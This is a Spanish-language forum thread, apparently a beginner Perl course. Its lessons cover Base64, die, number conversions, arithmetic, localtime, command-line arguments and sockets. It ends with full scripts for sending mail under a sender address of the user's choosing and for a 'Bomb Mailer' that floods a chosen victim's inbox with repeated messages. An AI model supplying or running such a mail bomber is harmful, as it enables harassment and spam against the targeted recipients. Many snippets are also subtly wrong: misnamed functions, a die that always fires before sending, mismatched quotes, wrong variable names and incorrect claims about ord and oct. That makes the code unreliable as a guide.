Curso de programación en Perl

Iniciado por Erik#, 7 Enero 2009, 13:33 PM

0 Miembros y 1 Visitante están viendo este tema.

Erik#

20.Encriptaci?n en B64

Primero de todo, tenemos que activar el modulo MIME::Base64:
Código (perl) [Seleccionar]
#!/usr/bin/perl
use MIME::Base64;


Una vez activado este modulo, podemos ver 2 opciones diferentes, codificar, descodificar.
Vamos con la codifiaci?n:
Activamos el modulo B64.

Código (perl) [Seleccionar]
#!/usr/bin/perl
use MIME::Base64;
$encoded = encoded_base64('El texto');
print $encoded;


Ya hemos cifrado la primera b64, ahora veremos como descodificar:
Código (perl) [Seleccionar]
#!/usr/bin/perl
use MIME::Base64;
$decoded = decoded_base64('El texto');
print $decoded;


Ya esta, recibimos el resultado, ahora, vamos a ver un ejemplo de un sistema que codifique y descodifique, aqui lo vemos:

Código (perl) [Seleccionar]
#!/usr/bin/perl
use MIME::Base64;
print "Que texto desea codificar?:";
$cod = <STDIN>;
print "Que texto desea descodificar?:";
$descod = <STDIN>;
$encoded = encode_base64($cod);
$decoded = decode_base64($descod);
print "$encoded\n";
print "$decoded";


Fin de la lecci?n del modulo B64.

Erik#

21.Die

Se que una lecci?n para una sola funci?n es poco, pero ami esta funci?n me parece muy interesante por el solo hecho de avisarte formalmente de un error.

Cuando una subrutina o una configuraci?n de modulos, conexi?n etc... no te sale bien, usamos la funci?n die.
Die lo que hace es que si la conexi?n no salio bien, salta un mensaje y se acaba el programa.

Aqui un ejemplo de die en nuestro programa el mail bomber:
Código (perl) [Seleccionar]
#!/usr/bin/perl
use Net::SMTP;
$smtp = Net::SMTP->new('error',
Hello => 'error',
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";


Como veis, die declara que no se efectuo la conexion y se acaba el programa.

Erik#

22.Conversiones de bases numericas

De hexadecimal a decimal:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print hex ("contenido");


De octal a decimal:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print oct ("cifra");


De decimal a ASCII:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print chr("cifra");


Y como pusimos en una lección anterior de hexadecimal a binario:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print "join('', unpack('B*', "\x191"));


EDIT: Ahora me acorde de otra funcion de conversión era ord, para pasar de ASCII a octal y otros...

Código (perl) [Seleccionar]
#!/usr/bin/perl
print ord("cifra o caracteres");


Proxima lección, funciones numericas como RAND, restas, multiplicaciones...

Erik#

22.Funciones numericas

Como veis en el titulo, vamos a hablar de este tipo de funciones numericas:
- Rand
- Rand transformado
- Sumas
- Restas
- Divisiones
- Multiplicaciones
- Potencias
- Raices cuadradas
- Valores absolutos
- Restos

1.Rand:
Lo que la  funci?n numerica rand hace es elegir un numero flotante del 0 al numero que quieras.

Código (perl) [Seleccionar]
#!/usr/bin/perl
print rand(80);


2.Rand transformado:
Es lo mismo que antes solo que puedes elegir numeros octales, caracteres ASCII, colocando su referente delante de todo:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print oct(rand(80));


3.Sumas:
Las sumas se efectuan usando el caracter +:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$suma = 9+9;
print $suma;


4.Restas:
Las restas se efectuan usando el caracter -:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$resta = 9-9;
print $resta;


5.Divisiones:
Las divisiones se efectuan usando el caracter /:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$division = 81/9;
print $division;


6.Multiplicaciones:
Las multiplicaciones se efectuan usando el caracter *:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$multi = 9*9;
$multi;


7.Potencias:
Hay dos tipos de efectuar potencias, usando el sistema exp para conseguir la potencia a cualquier numero:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$pot = exp 8;
print $pot;


Y luego, elevar un numero a una potencia, aqui vemos como se hace:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$pot = 5 ** 2;
print $pot;


Esto se llamaria 5 a la 2 o 5 al cuadrado.

8.Raices cuadradas:
La raiz cuadrada al igual que C se utiliza sqrt, pero en perl no necesitamos la libreria math.h:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$raizcuadrada= sqrt 81;
print $raizcuadrada;


9.Valor absoluto:
El valor absoluto se obtiene usando la funcion abs por ejemplo:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print abs(-90);


10.Como sacar el resto:
El resto se obtiene usando el caracter %:

Código (perl) [Seleccionar]
#!/usr/bin/perl
$resto = 14 % 51;
print $resto;

Erik#

23.Localtime

Al principio del curso vimos que usabamos la funcion localtime, actualmente, vamos a ense?aros a representarla con las definiciones que querrais, la sintaxis seria algo as?:

Código (perl) [Seleccionar]
#!/usr/bin/perl
($sec,$min,$hor,$day,$mon,$year,$wday,$yday,$isdst)=localtime(time);
print "$sec,";
print " $min, ";
print "$hour, ";
print "$isdst, ";
print "$year, ";
print "$mon, ";
print "$wday, ";
print "$yday, ";
print "$mday.";


Como veis, ya indica cada cosa que es, imaginaos que ahora queremos hacer una aplicacion que muestro, hora:minuto:segundo.

Código (perl) [Seleccionar]
#!/usr/bin/perl
($sec,$min,$hor)=localtime(time);
print "$hor: $min: $sec";


?t voila!

Erik#

24.Variables argumentativa

Las variables argumentativasson las que se consiguen escribiendo como si fuera un metodo get, por ejemplo:

Código (perl) [Seleccionar]
#!/usr/bin/perl
print "Te llamas $ARGV[0]";


Pero claro, para conseguir el resultado de esa variable argumentativa, necesitamos escribir al ejecutar el archivo.pl esto:

nombre.pl Erik

En este caso seria eso.
Pueden a?adirles tantas argumentativas como quieran.
Si no ha quedado claro, crean un nuevo tema y preguntais all

Erik#

25.Conexi?n a Sockets

A petici?n de rockox, pondre como hacer una conexi?n a sockets y una conexion a una ip, puerto y tcp remoto.
Primero, usaremos el modulo Socket.

Lo declaramos as?:

Código (perl) [Seleccionar]
use IO::Socket;

Y luego, para acceder la conexi?n tenemos que introducir los datos, primero lo haremos por variables argumentativas como vemos en la lecci?n 24 y luego por variables simples usando <STDIN>.

Código (perl) [Seleccionar]
#!/usr/bin/perl
use IO::Socket;
$conexion= IO::Socket::INET->new(PeerAddr, $ARGV[0], PeerPort, $ARGV[1],  Proto, 'tcp');


Aqui, hariamos algo as?, por ejemplo le llaremos conexion.pl, escribiriamos esto en el cmd:
conexion.pl "ip" "puerto" (sin comillas)

Y se conectaria a esa ip y puerto.
Luego por variables simples:


Código (perl) [Seleccionar]
#!/usr/bin/perl
use IO::Socket;
print "Introduce la ip:";
$ip = <STDIN>;
print "\nIntroduce el puerto:";
$puerto = <STDIN>;
$conexion= IO::Socket::INET->new(PeerAddr, $ip, PeerPort, $puerto,  Proto, 'tcp');


Y listo.

En la lecci?n 26, veremos complementaciones a los sockets (scanner de puertos, mail bomber...)

Erik#

26.Enviar mensajes a una direcci?n [CHAT]

Bueno, aqui os pondre como poder enviar mensajes a una direcci?n ip para poder contactarte con el, primero yo lo hare local, as?, podremos ver mejor y probarlo y m?s adelante lo haremos remoto.

Empezamos con el que envia mensajes:

Código (perl) [Seleccionar]
#!/usr/bin/perl
use IO::Socket;
$sock = new IO::Socket::INET (LocalHost => 'localhost',
LocalPort => 1100,
Proto     => 'tcp',
Listen    =>  6,
Reuse     => 1
);
die "No se ha podido crear el socket: $!\n" unless $sock;
$conexion= $sock -> accept();
$conexion->send($ARGV[0]);
close ($conexion);


Esto lo que hace es mandar un mensaje a la direccion 127.0.0.1 al puerto 1100 con el protocolo tcp, veremos que hemos usado una variable argumentativa, en la leccion 24 y 25 vemos algun ejemplo, emplearlo ;).

Y podremos ver desde un programa como telnet los mensajes que se reciben :).

Erik#

27.Anonymous mail

Código (perl) [Seleccionar]
#!/usr/bin/perl
use Net::SMTP;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):";
$sms = <STDIN>;
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();


Tiene el mismo c?digo que el mail bomber, pero lo quitamos el bucle for :).

Erik#

28.Bomb Mailer

Código (perl) [Seleccionar]
#!/usr/bin/perl
use Net::SMTP;
print "Buenas, cuantos mails bombs deseas hacer:";
$n = <STDIN>;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
$sms = <STDIN>;
for ($a=1;$a<=$n;$a++) {
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();
}